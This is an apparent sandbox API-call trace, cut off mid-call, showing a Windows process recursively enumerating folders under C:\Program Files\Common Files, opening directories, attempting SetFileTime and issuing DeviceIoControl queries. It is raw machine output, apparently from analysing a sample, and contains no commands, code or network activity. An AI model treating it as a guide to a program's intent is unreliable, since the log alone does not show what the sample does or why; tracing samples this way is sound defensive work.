[0064.259] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0064.259] GetLastError () returned 0x12 [0064.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05dc8) returned 1 [0064.259] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0064.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05ed0) returned 1 [0064.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05cc0) returned 1 [0064.260] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0064.260] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0064.260] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0064.260] GetLastError () returned 0x12 [0064.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05ab0) returned 1 [0064.260] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0064.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05bb8) returned 1 [0064.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa059a8) returned 1 [0064.260] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0064.260] GetLastError () returned 0x12 [0064.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05798) returned 1 [0064.260] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0064.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa058a0) returned 1 [0064.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05690) returned 1 [0064.260] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0064.260] GetLastError () returned 0x12 [0064.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05378) returned 1 [0064.260] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0064.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05588) returned 1 [0064.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0064.260] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 0 [0064.261] GetLastError () returned 0x12 [0064.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0064.261] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0064.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0064.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0064.261] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0064.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0064.261] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0064.261] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0064.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0064.262] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0064.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0064.262] NtClose (Handle=0x124) returned 0x0 [0064.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0064.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0064.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0064.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0064.262] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f80 [0064.262] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.262] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0064.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04000 [0064.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0064.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.262] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0064.262] GetLastError () returned 0x12 [0064.263] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0064.263] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0064.263] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.263] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0064.263] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0064.263] GetLastError () returned 0x12 [0064.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0064.263] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0064.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0064.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0064.263] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="")) returned 1 [0064.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0064.263] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines" (normalized: "c:\\program files\\common files\\speechengines"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines" (normalized: "c:\\program files\\common files\\speechengines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0064.263] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0064.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0064.264] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0064.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0064.264] NtClose (Handle=0x168) returned 0x0 [0064.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0064.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0064.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0064.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0064.264] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0064.264] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.264] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0064.264] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0064.264] GetLastError () returned 0x12 [0064.264] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f80 [0064.264] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0064.264] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.264] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 1 [0064.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.264] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files\\common files\\speechengines\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" (normalized: "c:\\program files\\common files\\speechengines\\microsoft"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0064.270] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0064.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0064.270] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0064.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0064.270] NtClose (Handle=0x168) returned 0x0 [0064.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0064.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0064.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0064.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0064.271] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0064.271] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.271] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0064.271] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0064.271] GetLastError () returned 0x12 [0064.271] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0064.271] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0064.271] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.271] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0064.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.271] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0064.272] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0064.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0064.272] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, 